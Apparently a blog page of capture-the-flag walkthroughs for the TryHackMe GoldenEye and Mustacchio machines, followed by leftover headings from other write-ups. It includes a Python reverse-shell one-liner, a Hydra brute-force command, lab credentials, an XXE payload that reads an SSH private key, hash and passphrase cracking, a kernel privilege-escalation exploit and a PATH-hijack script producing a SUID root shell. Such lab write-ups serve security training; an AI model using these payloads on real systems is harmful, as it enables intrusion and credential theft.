**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

Natalya's emails reveal two important pieces of data:

Xenia's credentials: xenia / RCP90rulez!
The internal training site: severnaya-station.com/gnocertdir

Training Site Access

The internal site only resolves after adding the target host to /etc/hosts:


<machine_ip> severnaya-station.com

Then browse to:


http://severnaya-station.com/gnocertdir

we get greeted with a moodle web page

Xenia's credentials work here:

Username: xenia
Password: RCP90rulez!

That answers the room question about which user you can log in as. Once inside, Xenia's profile contains a message from Dr. Doak, which gives the next username to investigate.
Doak's mail password is also recoverable with Hydra:


hydra -l Doak -P /usr/share/wordlists/fasttrack.txt <IP> -s 55007 pop3

This returns:

Doak password: goat Doak's mailbox contains credentials for the training site:
Username: dr_doak
Password: 4England!

Admin Discovery

Logging in as dr_doak exposes a hidden text file and an image file in the Moodle content. The text file points toward James's admin password, and the image contains the final secret in its metadata.

007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

Pull the image and inspect it:


exiftool for-007.jpg

The image description contains a base64 string. Decoding it reveals the admin password:

echo eFdpbnRlckE50TV4IQ== | base64 -d

Result:

Username: admin
Password: xWinter1995x!

At this point you can log in as admin on the training portal.

Reverse Shell

The admin account can edit Moodle settings, and the intended route is to abuse the Aspell spell-check plugin to inject a reverse shell.
The shell payload can be based on a standard Python one-liner, adjusted to your listener IP and port:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

After inserting the payload into the plugin and triggering it from the site with the spellchecker , i got the shell as the low-privilege web user.

Privilege Escalation

Check the kernel version from the shell:

uname -r

The kernel is:

3.13.0-32-generic This kernel is vulnerable to the overlayfs local privilege escalation CVE-2015-1328 The exploit strategy is to create user and mount namespaces, mount a filesystem overlay over /bin, make a setuid binary writable in the overlay, and then patch it from outside the namespace. the exploit Poc is available in exploit-db, the target machine does not have a gcc compiler you ll have to edit the exploit to use the cc compiler

cd /tmp
cc exploit.c -o exploit
./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Running the exploit returns a root shell.

From there, read the flag:

cat /root/.flag.txt
Alec told me to place the codes here:
568628e****************da6e93
if you captured this make sure to go here.....
/006.final/xyf7-flag/

Review :

GoldenEye provides a realistic, story-driven penetration testing environment inspired by classic OSINT and internal network pivoting concepts. Rather than relying on complex binary exploitation or obscure zero-days for initial foothold, the machine relies heavily on thorough information gathering, systematic credential tracking, and realistic administrative oversights.Overall i really enjoyed the storytelling side of the machine and had fun solving it

Mustachhio-TryHackMe Writeup

0xAp0ll0 — Wed, 05 Aug 2026 12:46:35 +0000

Target: Mustacchio
OS: Linux
Difficulty: Easy

Overview

Mustacchio is an easy-rated Linux machine on TryHackMe. The attack path involves:

Enumerating web services to find a exposed SQLite database backup containing an admin hash.
Logging into a secondary web interface on port 8765 and exploiting an XML External Entity Injection (XXE) vulnerability to exfiltrate an SSH private key.
Formatting and cracking the passphrase for user barry's SSH private key (urieljames) using ssh2john and john.
Escalating privileges to root via a PATH Hijacking attack against a SUID binary (/home/joe/live_log) that invokes relative binary commands (tail).

Step 1: Reconnaissance & Port Scanning

Start with a full port scan to identify all open services on the target system.

sudo nmap -sCV -p-  <IP> -oN nmap 
Host is up (0.056s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug  5 05:28:16 2026 -- 1 IP address (1 host up) scanned in 216.45 seconds

Scan Results:

Port	State	Service	Description
22/tcp	Open	SSH	OpenSSH 7.2p2
80/tcp	Open	HTTP	Apache httpd 2.4.18
8765/tcp	Open	HTTP	Secondary Web Service

so we have two web pages one in port 80 and the other in 8765

Step 2: Web Enumeration

Navigating to port 80 web page presents a basic static site. Perform directory fuzzing using ffuf :

ffuf -u http://10.112.171.183/FUZZ -w /usr/share/wordlists/dirb/common.txt

Directory brute-forcing highlights /custom/. Checking subdirectories within /custom/ reveals a backup file located at /custom/js/users.bak.
Download and inspect the database file:

wget http://10.112.171.183/custom/js/users.bak
file users.bak

users.bak: SQLite 3.x database

Query the SQLite database to retrieve stored user credentials:

sqlite3 users.bak ".dump"

Output:

CREATE TABLE IF NOT EXISTS "users" (
    "id" INTEGER,
    "username" TEXT,
    "password" TEXT,
    "role" INTEGER
);
INSERT INTO users VALUES(1,'admin','1868e36a********************d4bc5f4b',NULL);

it appears to be a SHA-1 hash so we crack it using hashcat

┌──(kali㉿kali)-[~/TryHackme/mustacchio]
└─$ hashid "1868e36a6d2b17d4c2745f1659433a54d4bc5f4b"
Analyzing '1868e36a6d2b17d4c2745f1659433a54d4bc5f4b'
[+] SHA-1

hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt and just like that we get the admin password bulldog19

Step 3: The Admin Panel

once we log in we get greeted by this box

checking the source code we find this

 <!-- Barry, you can now SSH in using your key!-->****
 <script type="text/javascript">
      //document.cookie = "Example=/auth/dontforget.bak"; 
      function checktarea() {
      let tbox = document.getElementById("box").value;
      if (tbox == null || tbox.length == 0) {
        alert("Insert XML Code!")
      }
  }

so we pull that file

┌──(kali㉿kali)-[~/TryHackme/mustacchio]
└─$ cat dontforget.bak 
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>

At this point it is obvious that we are going to do an XXE injection to retrieve the ssh keys
so we fire up burpsuite and start trying payloads and it

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa"> ]>
<comment>
  <name>&xxe;</name>
  <author>admin</author>
</comment>

Submit this payload through the XML input form to dump the encrypted RSA private key for barry

Step 4: Cracking SSH Passphrase & Initial Access

Copy the exfiltrated private key into a local file named id_rsa.
Ensure the key begins with a valid SSH header line (-----BEGIN RSA PRIVATE KEY-----). If non-standard header lines (such as Name: ) are present, clean up the file using sed:

sed -i '1s/^Name: //' id_rsa
chmod 600 id_rsa

Convert the key format for John the Ripper using ssh2john:

ssh2john id_rsa > id_rsa.hash

Crack the SSH key passphrase using john and rockyou.txt:

john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracked Output

urieljames       (id_rsa)

Connect to the target machine via SSH using the cracked key:

ssh -i id_rsa barry@10.112.171.183

Capture the user flag:

cat /home/barry/user.txt

Step 5: Privilege Escalation (PATH Hijacking)

Check local users and search for SUID binaries on the system:

find / -perm -4000 -type f 2>/dev/null

An unusual binary is present in user joe's home directory: /home/joe/live_log.

so we exfiltrate the binary to the host machine using scp and dissassemble it with ghidra
and it turns out to be a simple vulnerable code

void main(void)

{
  setuid(0);
  setgid(0);
  printf("Live Nginx Log Reader");
  system("tail -f /var/log/nginx/access.log");
  return;
}

Because tail is called without an absolute path (e.g., /usr/bin/tail), the system searches the directories listed in the current environment's $PATH variable in sequential order.

barry@mustacchio:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Executing PATH Hijack

Navigate to a world-writable directory, such as /dev/shm:

cd /dev/shm

Create a malicious executable named tail designed to create a root SUID bash binary:

cat << 'EOF' > tail
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash
EOF

Make the malicious file executable:

chmod +x tail

Prepend /dev/shm to the target system's $PATH variable:

export PATH=/dev/shm:$PATH

Execute /home/joe/live_log. It will run /dev/shm/tail with root privileges:

/home/joe/live_log

Spawn the privileged bash shell and retrieve the root flag:

/tmp/bash -p
#cat /root/root.txt

Review:

Overall while rated Easy, the machine serves as an effective learning model for basic web enumeration, XXE exploitation, and binary privilege escalation. this was a well versatile machine but it lacked depth .

DEV Community: 0xAp0ll0

HTB: Hospital — Write-up

Overview:

Let’s get started!

Reconnaissance & Enumeration

Port 8080

File Upload Exploitation

The first Privilege Escalation

Examining /etc/shadow

Investigating the Mailbox

Ghostscript Exploitation

Finding the Flag

Further Enumeration

Final Access

Conclusion

HTB: Headless — Writeup

Overview:

Reconnaissance & Enumeration

Privilege Escalation

Machine Review:

HTB: Lame — Writeup

Overview

Reconnaissance & Enumeration:

Port 3632 inspection (Initial Access)

Privilege Escalation:

Machine Review:

GoldenEye-TryHackMe Writeup

Overview

Reconnaissance

Mail Enumeration

Training Site Access

Admin Discovery

Reverse Shell

Privilege Escalation

Review :

Mustachhio-TryHackMe Writeup

Overview

Step 1: Reconnaissance & Port Scanning

Step 2: Web Enumeration

Step 3: The Admin Panel

Step 4: Cracking SSH Passphrase & Initial Access

Step 5: Privilege Escalation (PATH Hijacking)

Executing PATH Hijack

Review:

Examining `/etc/shadow`